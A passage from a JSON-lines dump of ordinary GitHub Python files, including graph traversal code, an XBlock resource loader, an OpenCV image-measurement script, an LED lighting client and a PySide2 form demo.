and the destination are the same,\n # return the path\n if starting_vertex == destination_vertex:\n return path\n\n # else loop through all remaining vertices,\n # if the vertex hasn't been visited, \n # call dfs recursive and if there is a path,\n # return it\n for vert in self.vertices[starting_vertex]:\n if vert not in visited:\n path_copy = self.dfs_recursive(vert, destination_vertex, visited, path)\n if path_copy:\n return path_copy \n\n # if we get here, there was no path so return None\n return None\n \n\nif __name__ == '__main__':\n graph = Graph() # Instantiate your graph\n # https://github.com/LambdaSchool/Graphs/blob/master/objectives/breadth-first-search/img/bfs-visit-order.png\n graph.add_vertex(1)\n graph.add_vertex(2)\n graph.add_vertex(3)\n graph.add_vertex(4)\n graph.add_vertex(5)\n graph.add_vertex(6)\n graph.add_vertex(7)\n graph.add_edge(5, 3)\n graph.add_edge(6, 3)\n graph.add_edge(7, 1)\n graph.add_edge(4, 7)\n graph.add_edge(1, 2)\n graph.add_edge(7, 6)\n graph.add_edge(2, 4)\n graph.add_edge(3, 5)\n graph.add_edge(2, 3)\n graph.add_edge(4, 6)\n\n '''\n Should print:\n {1: {2}, 2: {3, 4}, 3: {5}, 4: {6, 7}, 5: {3}, 6: {3}, 7: {1, 6}}\n '''\n print('graph.vertices', graph.vertices)\n\n '''\n Valid BFT paths:\n 1, 2, 3, 4, 5, 6, 7\n 1, 2, 3, 4, 5, 7, 6\n 1, 2, 3, 4, 6, 7, 5\n 1, 2, 3, 4, 6, 5, 7\n 1, 2, 3, 4, 7, 6, 5\n 1, 2, 3, 4, 7, 5, 6\n 1, 2, 4, 3, 5, 6, 7\n 1, 2, 4, 3, 5, 7, 6\n 1, 2, 4, 3, 6, 7, 5\n 1, 2, 4, 3, 6, 5, 7\n 1, 2, 4, 3, 7, 6, 5\n 1, 2, 4, 3, 7, 5, 6\n '''\n graph.bft(1)\n\n '''\n Valid DFT paths:\n 1, 2, 3, 5, 4, 6, 7\n 1, 2, 3, 5, 4, 7, 6\n 1, 2, 4, 7, 6, 3, 5\n 1, 2, 4, 6, 3, 5, 7\n '''\n graph.dft(1)\n graph.dft_recursive(1)\n\n '''\n Valid BFS path:\n [1, 2, 4, 6]\n '''\n print(graph.bfs(1, 6))\n\n '''\n Valid DFS paths:\n [1, 2, 4, 6]\n [1, 2, 4, 7, 6]\n '''\n print(graph.dfs(1, 6))\n print(graph.dfs_recursive(1, 6))\n","repo_name":"gmgower/Graphs","sub_path":"projects/graph/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":10609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1993735013","text":"menu = {\n \"baja taco\": 4.00,\n \"burrito\": 7.50,\n \"bowl\": 8.50,\n \"nachos\": 11.00,\n \"quesadilla\": 8.50,\n \"super burrito\": 8.50,\n \"super quesadilla\": 9.50,\n \"taco\": 3.00,\n \"tortilla salad\": 8.00\n}\n\ntotal = 0\n\nwhile True:\n try:\n order = input(\"Item: \").lower()\n if order in menu:\n total = total + menu[order]\n print(\"Total: $\" + f\"{total:.2f}\")\n\n except EOFError or KeyError:\n print()\n break\n","repo_name":"juanmrtnz/Python_programs","sub_path":"taqueria/taqueria.py","file_name":"taqueria.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70466007505","text":"import os;\nimport shutil\nfrom string import ascii_lowercase;\nfrom PIL import Image, ImageDraw, ImageFont;\nimport random;\n\nwidth, height = 256, 256\nfontsize = 150\n\nassetsPath = '../../Grids.Avalonia/Assets/ProfileImages'\n\ntry: #HACK: To prevent image overwriting issues\n shutil.rmtree(assetsPath)\nexcept:\n pass\n\nos.mkdir(assetsPath)\n\nrandom.seed(341355) #Keyboard spam for complete random\n\nfor char in ascii_lowercase: \n img = Image.new('RGB', (width, height))\n img.putalpha(0) #Transparent background\n\n d = ImageDraw.Draw(img)\n d.ellipse((0, 0, width, height), fill = (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255)))\n fnt = ImageFont.FreeTypeFont('CooperHewitt-OTF-public/CooperHewitt-Bold.otf', fontsize) # This font is open source, all credit goes to https://github.com/cooperhewitt/cooperhewitt-typeface.\n img_w,img_h = fnt.getsize(char)\n d.text(((width-img_w)/2 + 1, (height-img_h)/2 + 1), char.capitalize(), font=fnt, fill=(0, 0, 0)) #Font shadow!\n d.text(((width-img_w)/2, (height-img_h)/2), char.capitalize(), font=fnt, fill=(205, 205, 205)) #Main font text!\n \n filename = \"{assets}/{letter}.png\".format(assets = assetsPath, letter = char)\n img.save(filename)\n print(f\"Created image {char}.png\") \n\nprint(f\"Sucessfully created default profile images. Images written to '{assetsPath}'.\")","repo_name":"Zekiah-A/Grids","sub_path":"Grids.Utils/ImageGen/make_images.py","file_name":"make_images.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36181353892","text":"import db\r\n\r\n\r\nquery = db.sqlalchemy.select([db.post])\r\n\r\nres = db.connection.execute(query).fetchall()\r\n\r\n\r\n\r\nPOSTS = []\r\n\r\n\r\n\r\nfor ins in res:\r\n POSTS.append(\r\n {\r\n 'author': ins[1],\r\n 'content': ins[2],\r\n 'time': str(ins[3])\r\n }\r\n )\r\n # print('id: ' + str(ins[0]))\r\n # print('author: ' + ins[1])\r\n # print('content: ' + ins[2])\r\n # print('time: ' + str(ins[3]))\r\n\r\n\r\nprint(POSTS)","repo_name":"amasterous/bets_parserqwe","sub_path":"parser/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"30615399570","text":"\"\"\"\nHelper class (ResourceLoader) for loading resources used by an XBlock\n\"\"\"\n\nimport os\nimport sys\nimport warnings\n\nimport pkg_resources\nfrom django.template import Context, Template, Engine\nfrom django.template.backends.django import get_installed_libraries\nfrom mako.lookup import TemplateLookup as MakoTemplateLookup\nfrom mako.template import Template as MakoTemplate\n\n\nclass ResourceLoader:\n \"\"\"Loads resources relative to the module named by the module_name parameter.\"\"\"\n def __init__(self, module_name):\n self.module_name = module_name\n\n def load_unicode(self, resource_path):\n \"\"\"\n Gets the content of a resource\n \"\"\"\n resource_content = pkg_resources.resource_string(self.module_name, resource_path)\n return resource_content.decode('utf-8')\n\n def render_django_template(self, template_path, context=None, i18n_service=None):\n \"\"\"\n Evaluate a django template by resource path, applying the provided context.\n \"\"\"\n context = context or {}\n context['_i18n_service'] = i18n_service\n libraries = {\n 'i18n': 'xblock.utils.templatetags.i18n',\n }\n\n installed_libraries = get_installed_libraries()\n installed_libraries.update(libraries)\n engine = Engine(libraries=installed_libraries)\n\n template_str = self.load_unicode(template_path)\n template = Template(template_str, engine=engine)\n rendered = template.render(Context(context))\n\n return rendered\n\n def render_mako_template(self, template_path, context=None):\n \"\"\"\n Evaluate a mako template by resource path, applying the provided context\n Note: This function has been deprecated. Consider using Django templates or React UI instead of mako.\n \"\"\"\n warnings.warn(\n 'ResourceLoader.render_mako_template has been deprecated. '\n 'Use Django templates or React UI instead of mako.',\n DeprecationWarning, stacklevel=3,\n )\n context = context or {}\n template_str = self.load_unicode(template_path)\n lookup = MakoTemplateLookup(directories=[pkg_resources.resource_filename(self.module_name, '')])\n template = MakoTemplate(template_str, lookup=lookup)\n return template.render(**context)\n\n def render_template(self, template_path, context=None):\n \"\"\"\n This function has been deprecated. It calls render_django_template to support backwards compatibility.\n \"\"\"\n warnings.warn(\n \"ResourceLoader.render_template has been deprecated in favor of ResourceLoader.render_django_template\"\n )\n return self.render_django_template(template_path, context)\n\n def render_js_template(self, template_path, element_id, context=None, i18n_service=None):\n \"\"\"\n Render a js template.\n \"\"\"\n context = context or {}\n return \"\".format(\n element_id,\n self.render_django_template(template_path, context, i18n_service)\n )\n\n def load_scenarios_from_path(self, relative_scenario_dir, include_identifier=False):\n \"\"\"\n Returns an array of (title, xmlcontent) from files contained in a specified directory,\n formatted as expected for the return value of the workbench_scenarios() method.\n\n If `include_identifier` is True, returns an array of (identifier, title, xmlcontent).\n \"\"\"\n base_dir = os.path.dirname(os.path.realpath(sys.modules[self.module_name].__file__))\n scenario_dir = os.path.join(base_dir, relative_scenario_dir)\n\n scenarios = []\n if os.path.isdir(scenario_dir):\n for template in sorted(os.listdir(scenario_dir)):\n if not template.endswith('.xml'):\n continue\n identifier = template[:-4]\n title = identifier.replace('_', ' ').title()\n template_path = os.path.join(relative_scenario_dir, template)\n scenario = str(self.render_django_template(template_path, {\"url_name\": identifier}))\n if not include_identifier:\n scenarios.append((title, scenario))\n else:\n scenarios.append((identifier, title, scenario))\n\n return scenarios\n","repo_name":"openedx/XBlock","sub_path":"xblock/utils/resources.py","file_name":"resources.py","file_ext":"py","file_size_in_byte":4345,"program_lang":"python","lang":"en","doc_type":"code","stars":447,"dataset":"github-code","pt":"48"} +{"seq_id":"24994727963","text":"#!/usr/bin/python3\r\n\r\nimport cv2\r\nimport numpy as np\r\n\r\n\r\ndef origin (img):\r\n\r\n def distance (check,hull_ex) :\r\n dis = 0\r\n for point in hull_ex:\r\n dis = dis + np.sqrt((check[0,0]-point[0,0])**2+(check[0,1]-point[0,1])**2)\r\n return dis\r\n\r\n height,width,_=img.shape\r\n img_g = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\r\n _,black = cv2.threshold(img_g,100,255,cv2.THRESH_BINARY)\r\n black = cv2.morphologyEx(black, cv2.MORPH_OPEN, np.ones((8,8),np.uint8))\r\n \r\n _,contours, hierarchy=cv2.findContours(cv2.bitwise_not(black),cv2.RETR_TREE,cv2.CHAIN_APPROX_NONE)\r\n\r\n #contours = sorted(contours,key=lambda x:cv2.contourArea(x), reverse=True)\r\n \r\n calc_area = lambda x:cv2.boundingRect(x)[2]*cv2.boundingRect(x)[3]\r\n contours = sorted(contours, key=calc_area, reverse=True)\r\n \r\n if len(contours) > 2 :\r\n\r\n hull=cv2.convexHull(contours[0])\r\n past=0\r\n corner=hull[0]\r\n hull_ex_x=[]\r\n hull_ex_y=[]\r\n\r\n #hull_ex = [ex for ex in hull if ex[0,0]<=5 or ex[0,0]>=width-5 or ex[0,1]<=5 or ex[0,1]>=height-5]\r\n\r\n for i in range(len(hull)) :\r\n ex=hull[i]\r\n if ex[0,0]<=5 or ex[0,0]>=width-5 :\r\n hull_ex_x.append(ex)\r\n np.delete(hull,i)\r\n if ex[0,1]<=5 or ex[0,1]>=height-5:\r\n hull_ex_y.append(ex)\r\n np.delete(hull,i)\r\n\r\n for check in range(len(hull)) :\r\n dis = distance(hull[check], hull_ex_x) + distance(hull[check], hull_ex_y)\r\n if dis>past :\r\n past = dis\r\n corner = hull[check]\r\n\r\n dummy=0\r\n\r\n if len(hull_ex_x)==0 or len(hull_ex_y)==0 :\r\n return True,corner,contours[1],black,False,0,0,0\r\n\r\n for pt_x in hull_ex_x :\r\n for pt_y in hull_ex_y :\r\n\r\n ba = pt_x[0] - corner[0]\r\n bc = pt_y[0] - corner[0]\r\n\r\n cosine_angle = np.dot(ba, bc) / (np.linalg.norm(ba) * np.linalg.norm(bc))\r\n angle = np.arccos(cosine_angle)\r\n\r\n if dummy==0 :\r\n dummy=1\r\n xangle=angle\r\n co_x=pt_x\r\n co_y=pt_y\r\n\r\n elif angle > xangle :\r\n xangle=angle\r\n co_x=pt_x\r\n co_y=pt_y\r\n\r\n hull_temp=cv2.convexHull(contours[1])\r\n hull_temp=sorted(hull_temp,key=lambda x:np.sqrt((x[0,0]-corner[0,0])**2+(x[0,1]-corner[0,1])**2))\r\n\r\n return True,corner,contours[1],black,True,co_x,co_y,hull_temp[0]\r\n\r\n else :\r\n return False,0,0,black,False,0,0,0\r\n\r\ndef get_prespective(img,black,temp_pt,corner,x,y,height,width):\r\n\r\n pts1 = np.float32([corner[0],y[0],x[0]])\r\n pts2 = np.float32([[0,height],[0,0],[width,height]])\r\n\r\n M = cv2.getAffineTransform(pts1,pts2)\r\n\r\n dst = cv2.warpAffine(img,M,(width,height))\r\n dst_b = cv2.warpAffine(black,M,(width,height))\r\n\r\n ones = np.ones(shape=(len(temp_pt), 1))\r\n\r\n points_ones = np.hstack([temp_pt, ones])\r\n\r\n rotated_point = M.dot(points_ones.T)\r\n\r\n dst= cv2.circle(dst,(rotated_point[0],rotated_point[1]),5,(255,0,0),-1)\r\n\r\n return dst,dst_b,rotated_point\r\n\r\ndef square (black):\r\n \r\n height,width=black.shape\r\n _,contours, hierarchy=cv2.findContours(black,cv2.RETR_TREE,cv2.CHAIN_APPROX_NONE)\r\n contours = sorted(contours, key=lambda x:np.sqrt((cv2.minEnclosingCircle(x)[0][0])**2+(cv2.minEnclosingCircle(x)[0][1]-height)**2), reverse=False)\r\n points=cv2.boundingRect(contours[0])\r\n\r\n #x,y,w,h\r\n return points\r\n\r\ndef count(dst_b,square_p,rotated_point):\r\n\r\n count_x=dst_b[square_p[1]+int(square_p[3]*0.3):square_p[1]+int(square_p[3]*0.7),square_p[0]:int(rotated_point[0])-int(square_p[2]*0.4)]\r\n count_y=dst_b[int(rotated_point[1])+int(square_p[3]*0.4):square_p[1]+square_p[3],square_p[0]+int(square_p[2]*0.3):square_p[0]+int(square_p[2]*0.7)]\r\n\r\n _,contour_x, hierarchy=cv2.findContours(count_x,cv2.RETR_TREE,cv2.CHAIN_APPROX_NONE)\r\n _,contour_y, hierarchy=cv2.findContours(count_y,cv2.RETR_TREE,cv2.CHAIN_APPROX_NONE)\r\n\r\n return len(contour_x),len(contour_y)\r\n\r\ndef vector(img):\r\n\r\n #ret, img = cap.read()\r\n #img = cv2.imread(\"test/test-5.jpg\")\r\n \r\n height,width,_=img.shape\r\n\r\n vector_length = -1\r\n vector_angle = -1\r\n\r\n step_x = -1\r\n step_y = -1\r\n\r\n check,corner,temp,black,check_co,x,y,temp_pt=origin(img)\r\n print(temp_pt)\r\n\r\n if check :\r\n\r\n if check_co :\r\n\r\n dst,dst_b,rotated_point=get_prespective(img,black,temp_pt,corner,x,y,height,width)\r\n\r\n square_p=square(dst_b)\r\n \r\n step_x,step_y=count(dst_b,square_p,rotated_point)\r\n\r\n #print(step_x,\" \",step_y)\r\n \r\n co_x = (step_x+7.5)*1.5\r\n co_y = (step_y+7.5)*1.5\r\n\r\n vector_length = np.sqrt(co_x**2+co_y**2)\r\n vector_angle = np.degrees(np.arctan(co_y/co_x))\r\n\r\n print(\"V = ({},{})\".format(vector_length,vector_angle))\r\n\r\n img= cv2.line(img,(corner[0,0],corner[0,1]),(x[0,0],x[0,1]),(0,0,255),3)\r\n img= cv2.line(img,(corner[0,0],corner[0,1]),(y[0,0],y[0,1]),(0,0,255),3)\r\n \r\n img=cv2.drawContours(img,temp,-1,(0,255,0),3)\r\n img= cv2.circle(img,(corner[0,0],corner[0,1]),5,(0,255,0),-1)\r\n img= cv2.circle(img,(temp_pt[0,0],temp_pt[0,1]),5,(255,0,0),-1)\r\n \r\n return (img,vector_length,vector_angle,step_x,step_y)\r\n\r\n#cap = cv2.VideoCapture('rtsp://admin:Mahmoud@1205@192.168.1.64:554/Streaming/Channels/101')\r\n#cap=cv2.VideoCapture('rtsp://admin:admin@192.168.1.11:554/cam/realmonitor?channel=1&subtype=0')\r\n#cap = cv2.VideoCapture('http://192.168.1.4:4747/video')\r\n#cap=cv2.VideoCapture(1)\r\n\r\nif __name__ == \"__main__\":\r\n \r\n test = cv2.imread(\"test/test-5.jpg\")\r\n #while True :\r\n res = vector(test)[0]\r\n cv2.imshow(\"img\",res)\r\n cv2.waitKey(0)\r\n cv2.destroyAllWindows()","repo_name":"abdallahadel25/UWR-ROV-2020","sub_path":"underwater image tasks/vector_test.py","file_name":"vector_test.py","file_ext":"py","file_size_in_byte":6952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4378387734","text":"import day18_ee\nimport day18_ee2\n\nwith open('day18.txt') as f:\n input_data = f.read().split('\\n')\n total = 0\n for i in input_data:\n if i != '':\n # Part 1\n #total += day18_ee.return_value(i)\n # Part 2\n total += day18_ee2.return_value(i)\n print(total)\n","repo_name":"samjbasak/advent-of-code-2020","sub_path":"Day18/day18.py","file_name":"day18.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1231114716","text":"from azure.core.credentials import AzureKeyCredential\nfrom azure.ai.formrecognizer import DocumentAnalysisClient\n\n\ndef extract_text(key, endpoint, url, model_id):\n # Khởi tạo client\n document_analysis_client = DocumentAnalysisClient(\n endpoint=endpoint, credential=AzureKeyCredential(key)\n )\n\n # Bắt đầu phân tích tài liệu\n poller = document_analysis_client.begin_analyze_document_from_url(model_id, url)\n result = poller.result()\n return result\n\n\n# Test the function\ndef print_result(result):\n print(\"--------Printing results--------\\n\")\n for idx, document in enumerate(result.documents):\n for name, field in document.fields.items():\n field_value = field.value if field.value else field.content\n print(\"'{}': '{}' \".format(name, field_value, field.confidence))\n","repo_name":"Huytrann97/fastApiDocker","sub_path":"documentProcessing/extractText1.py","file_name":"extractText1.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26201028953","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LogisticRegression\n\n\n\n#read data\nsymptom = pd.read_csv(\"covid-19 symptoms dataset.csv\")\nprint(symptom.head())\n\n#feature/ target data\nfeature_columns = symptom.columns.difference([\"infectionProb\"])\nX = symptom[feature_columns]\ny = symptom[\"infectionProb\"]\nsymptom = symptom.drop(['age'], axis=1)\n\n#split training set/ test set\nX_train, X_test, y_train, y_test = train_test_split(X, y, train_size=0.7, test_size=0.3, random_state = 123)\nprint(X_train.shape, X_test.shape, y_train.shape, y_test.shape)\n\n#Logistic Regression\nmodel = LogisticRegression(random_state=45)\nmodel.fit(X_train, y_train)\ny_pred = model.predict(X_test)\n\n\n#coef\nfeature = np.array(symptom.columns[0:14])\nlog_feature = pd.DataFrame({\"feature\":feature, \"coefficient(LR)\":model.coef_[0]})\nlog_feature.sort_values(by=['coefficient(LR)'], axis=0, ascending=False, inplace=True)\nprint('Important feature of Logistic Regression Algorithm')\nprint(log_feature.head(14), end='\\n\\n')\n\nprint('##############################################\\n')\n","repo_name":"yeonee21/HealthCareAPP","sub_path":"Regressioncode/Logistic_regression.py","file_name":"Logistic_regression.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70045884945","text":"#!/usr/bin/env python3\n\"\"\"Session Expiration module\n\"\"\"\nfrom api.v1.auth.session_auth import SessionAuth\nfrom os import getenv\nfrom datetime import datetime\n\n\nclass SessionExpAuth(SessionAuth):\n \"\"\"Session Expiration class\n \"\"\"\n user_id_by_session_id = {}\n\n def __init__(self):\n sd = getenv(\"SESSION_DURATION\", None)\n if not sd:\n self.session_duration = 0\n else:\n try:\n self.session_duration = int(sd)\n except Exception:\n self.session_duration = 0\n\n def create_session(self, user_id=None):\n \"\"\"Create session\n \"\"\"\n session_id = super().create_session(user_id)\n if not session_id:\n return None\n session_dictionary = {}\n session_dictionary[\"user_id\"] = user_id\n session_dictionary[\"created_at\"] = datetime.now()\n SessionExpAuth.user_id_by_session_id[session_id] = session_dictionary\n return session_id\n\n def user_id_for_session_id(self, session_id=None):\n \"\"\"return user_id of session_id\n \"\"\"\n if session_id is None:\n return None\n session_dict = SessionExpAuth.user_id_by_session_id.get(session_id)\n if not session_dict:\n return None\n if self.session_duration <= 0:\n return session_dict.get(\"user_id\")\n created_at = session_dict.get(\"created_at\")\n if not created_at:\n return None\n elapsed_time = (datetime.now() - created_at).total_seconds()\n if elapsed_time > self.session_duration:\n return None\n return session_dict.get(\"user_id\")\n","repo_name":"alazar-des/alx-backend-user-data","sub_path":"0x02-Session_authentication/api/v1/auth/session_exp_auth.py","file_name":"session_exp_auth.py","file_ext":"py","file_size_in_byte":1639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72837071185","text":"from test.ajaxtestcase import TestCase\nfrom app.utils import to_json\n\n\nclass ItemEndpointTestCase(TestCase):\n\n def test_get_collection(self):\n # setup\n self.test_client.post('/items', data={'name': 'Laundry'})\n self.test_client.post('/items', data={\n 'name': 'Tickets',\n 'order': 1,\n })\n\n data = to_json(self.test_client.get('/items'))\n self.assertEqual(len(data), 2)\n\n def test_get_collection_with_params(self):\n # setup\n self.test_client.post('/items', data={'name': 'Laundry'})\n self.test_client.post('/items', data={'name': 'Tickets'})\n\n data = to_json(self.test_client.get('/items?name=Laundry'))\n self.assertEqual(len(data), 1)\n self.assertEqual(data[0]['name'], 'Laundry')\n\n def test_post_collection(self):\n mock_data1 = {'name': 'Laundry'}\n mock_data2 = {'name': 'Tickets', 'order': 1}\n\n data = to_json(self.test_client.post('/items', data=mock_data1))\n self.assertEqual(data['name'], mock_data1['name'])\n # decode('utf8') converts int to unicode, therefore need to cast\n self.assertEqual(int(data['order']), 0)\n\n data = to_json(self.test_client.post('/items', data=mock_data2))\n self.assertEqual(data['name'], mock_data2['name'])\n self.assertEqual(int(data['order']), 1)\n\n def test_get_detail(self):\n # setup\n mock_data = {'name': 'Laundry'}\n data = to_json(self.test_client.post('/items', data=mock_data))\n id = data['id']\n\n data = to_json(self.test_client.get('/items/' + id))\n self.assertEqual(data['name'], mock_data['name'])\n\n def test_patch_detail(self):\n # setup\n mock_data = {'name': 'Laundry'}\n data = to_json(self.test_client.post('/items', data=mock_data))\n id = data['id']\n\n data = to_json(self.test_client.patch(\n '/items/' + id,\n data={'name': 'Tickets'},\n ))\n self.assertEqual(data['id'], id)\n self.assertEqual(data['name'], 'Tickets')\n self.assertEqual(int(data['order']), 0)\n\n def test_delete_detail(self):\n # setup\n mock_data = {'name': 'Laundry'}\n data = to_json(self.test_client.post('/items', data=mock_data))\n id = data['id']\n\n self.test_client.delete('/items/' + id)\n data = to_json(self.test_client.get('/items/' + id))\n self.assertEqual(data, {})\n","repo_name":"harsh376/Ajax","sub_path":"ajax/test/unit/test_item.py","file_name":"test_item.py","file_ext":"py","file_size_in_byte":2444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72054054867","text":"import json\nimport select\nimport socket\nimport threading\n\nimport requests\n\nimport util\nfrom shows import *\n#import pigpio\n\n\nclass Client():\n rPin = 17\n gPin = 22\n bPin = 24\n\n def __init__(self):\n with open('clientConfig.json') as f:\n data = json.load(f)\n self.id = data['clientID']\n self.name = data['clientName']\n # pi = pigpio.pi()\n\n def connect(self, ip, port=2705):\n self.ip = ip\n self.show = None\n self.socket = socket.socket()\n self.socket.connect((ip, port))\n self.socket.send((self.id + \":\" + self.name).encode(\"utf8\"))\n waiting = True\n while waiting:\n read, write, error = select.select([self.socket], [], [], 0)\n for s in read:\n if s is self.socket:\n data = s.recv(4096)\n if not data:\n print(\"Disconnected From MoodLightingServer\")\n waiting = False\n else:\n out = data.decode(\"utf8\")\n print(\"Replied\")\n print(out)\n waiting = False\n self.run()\n\n def run(self):\n print(\"Connection Established, running\")\n serversocket = util.getServerSocket(\"0.0.0.0\", 1202)\n i = \"\"\n while 1:\n print(i)\n if i.startswith(\"FADE\"):\n print(\"Starting Fade Show\")\n r = requests.get(url='http://' + self.ip + ':2806/lights/info')\n r = (r.json())\n print(r)\n self.t = threading.Thread(target=self.startFade, args={json.dumps(r)})\n self.t.daemon = False\n self.t.start()\n if i.startswith(\"STOP\"):\n print(\"Stopping\")\n if self.show is not None:\n self.show.stop()\n else:\n self.updateColor(ColorResult(0,0,0))\n if i.startswith(\"COLOUR\"):\n if self.show is not None:\n self.show.stop()\n cD = i.split(\" \")[1].split(\",\")\n r = ColorResult(int(cD[0]), int(cD[1]), int(cD[2]))\n self.updateColor(r)\n if i.startswith(\"FLASH\"):\n # TODO: Maybe it should resume the previous show once the flash has stopped?\n if self.show is not None:\n self.show.stop()\n r = requests.get(url='http://' + self.ip + ':2806/lights/info')\n r = (r.json())\n print(r)\n self.t = threading.Thread(target=self.doFlash, args={json.dumps(r)})\n self.t.daemon = False\n self.t.start()\n if i.startswith(\"BEAT\"):\n # TODO: Maybe it should resume the previous show once the flash has stopped?\n if self.show is not None:\n self.show.stop()\n r = requests.get(url='http://' + self.ip + ':2806/lights/info')\n r = (r.json())\n print(r)\n self.t = threading.Thread(target=self.startBeat, args={json.dumps(r)})\n self.t.daemon = False\n self.t.start()\n if i.startswith(\"_BEAT_STOPPED\") and isinstance(self.show,BeatShow):\n if self.show is not None:\n self.show.stop()\n if i.startswith(\"_BEAT_START\") and isinstance(self.show,BeatShow):\n if self.show is not None and not self.show.running:\n #self.show.run(0.25, ColorResult(255, 0, 0), ColorResult(0, 0, 0), \"192.168.0.100:9999\")\n self.t = threading.Thread(target=self.startBeat, args={json.dumps(r)})\n self.t.daemon = False\n self.t.start()\n i = util.waitForData(serversocket)\n\n def startFade(self, r):\n g = self.getGroups()\n r = json.loads(r)\n found = False\n for group in g:\n if group in r:\n r = r[group]\n found = True\n break\n if not found:\n r = r['all']\n print(r)\n fade = FadeShow(self)\n self.show = fade\n c = []\n for col in r['data']['colours']:\n cD = col.split(\",\")\n c.append(ColorResult(int(cD[0]), int(cD[1]), int(cD[2])))\n fade.run(float(r['data']['startTime']), float(r['data']['pauseTime']), float(r['data']['fadeTime']), c)\n\n def startBeat(self, r):\n # g = self.getGroups()\n # r = json.loads(r)\n # found = False\n # for group in g:\n # if group in r:\n # r = r[group]\n # found = True\n # break\n# # if not found:\n # r = r['all']\n #print(r)\n beat = BeatShow(self)\n self.show = beat\n beat.run(0.1, ColorResult(255,0,0), ColorResult(0,0,0), \"192.168.0.100:9999\")\n\n def doFlash(self,r):\n g = self.getGroups()\n r = json.loads(r)\n found = False\n for group in g:\n if group in r:\n r = r[group]\n found = True\n break\n if not found:\n r = r['all']\n print(r)\n cD = r['data']['color'].split(\",\")\n color = ColorResult(int(cD[0]), int(cD[1]), int(cD[2]))\n flash = FlashShow(self)\n self.show = flash\n flash.run(float(r['data']['startTime']), float(r['data']['duration']), color , r['data']['fade'],r['data']['repeat'])\n\n def getGroups(self):\n r = requests.get(url='http://' + self.ip + ':2806/lights/clients/getGroups?id=' + self.id)\n try:\n r = (r.json())\n except Exception:\n return \"all\"\n if r.__len__() is not 0:\n return r\n return \"all\"\n\n # Set the LEDs to the given colour result\n def updateColor(self, result):\n print(str(result.r) + \":\" + str(result.g) + \":\" + str(result.b))\n #self.pi.set_PWM_dutycycle(self.rPin, result.r)\n #self.pi.set_PWM_dutycycle(self.gPin, result.g)\n #self.pi.set_PWM_dutycycle(self.bPin, result.b)\n\n\nClient().connect(\"localhost\")\n","repo_name":"JPatrickDev/MoodLighting2","sub_path":"client/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":6207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"41684168535","text":"from PySide2 import QtWidgets\n\nimport formulario\n\nclass MyQtApp(formulario.Ui_MainWindow, QtWidgets.QMainWindow):\n def __init__(self):\n super(MyQtApp, self).__init__()\n self.setupUi(self)\n self.showMaximized()\n self.setWindowTitle(\"My Qt Aplication - Build 252\")\n self.populate_tree_widget()\n self.populate_list_widget()\n self.submit_PB.clicked.connect(self.fill_form)\n self.toolButton.clicked.connect(self.select_photo)\n\n def populate_tree_widget(self):\n self.my_treeWidget.setHeaderLabels([\"ID\", \"NAME\", \"COLOR\"])\n self.my_treeWidget.clear()\n x =[\"applee\", \"banana\", \"mango\", \"orange\"]\n\n for i, e in enumerate(x):\n item = QtWidgets.QTreeWidgetItem(self.my_treeWidget)\n item.setText(0, str(i))\n item.setText(1, e)\n\n def populate_list_widget(self):\n self.listWidget.clear()\n item = [\"a\", \"b\", \"c\"]\n self.listWidget.addItems(item)\n\n # Message warning\n def fill_form(self):\n name = self.name_LE.text()\n #print(name)\n if not name:\n QtWidgets.QMessageBox.about(self,\"Name Requiered\", \"Hey ! fill the name\")\n return\n photo = self.photo_LE.text()\n if not photo:\n QtWidgets.QMessageBox.about(self,\"Photo Requiered\", \"Hey ! select photo\")\n return\n QtWidgets.QMessageBox.about(self, \"Done\", \"Submitted\")\n\n # show archive route\n def select_photo(self):\n photo_path, ext = QtWidgets.QFileDialog.getOpenFileName(self, \"Select Photo\")\n if photo_path:\n self.photo_LE.setText(photo_path)\n\nif __name__ == '__main__':\n app = QtWidgets.QApplication()\n qt_app = MyQtApp()\n qt_app.show()\n app.exec_()\n\n\n","repo_name":"BrianMarquez3/Python-Course","sub_path":"QT-Formulario/qtTestUI.py","file_name":"qtTestUI.py","file_ext":"py","file_size_in_byte":1765,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"48"} +{"seq_id":"44610345086","text":"\"\"\"Support for Jupyter Lab notebooks.\"\"\"\n\nimport datetime\nimport os\n\nfrom copy import deepcopy\nfrom .eval import build_requests\nfrom .optimize import optimize_query, optimize_bm25, set_bm25_parameters\nfrom .trec import load_queries_as_tuple_list, load_qrels\nfrom .util import load_json\n\nROOT_DIR = os.path.abspath('..')\nTEMPLATES_FILE = os.path.join(ROOT_DIR, 'config', 'msmarco-document-templates.json')\n\n\ndef set_bm25_params(es, index, best):\n \"\"\"Sets the BM25 parameters for given field names and params.\"\"\"\n\n def similarity_name(field):\n return f\"bm25-{field.replace('.', '-')}\"\n\n print(\"Setting BM25 params fields:\")\n for field, params in best:\n print(f\" - {field}: {params}\")\n 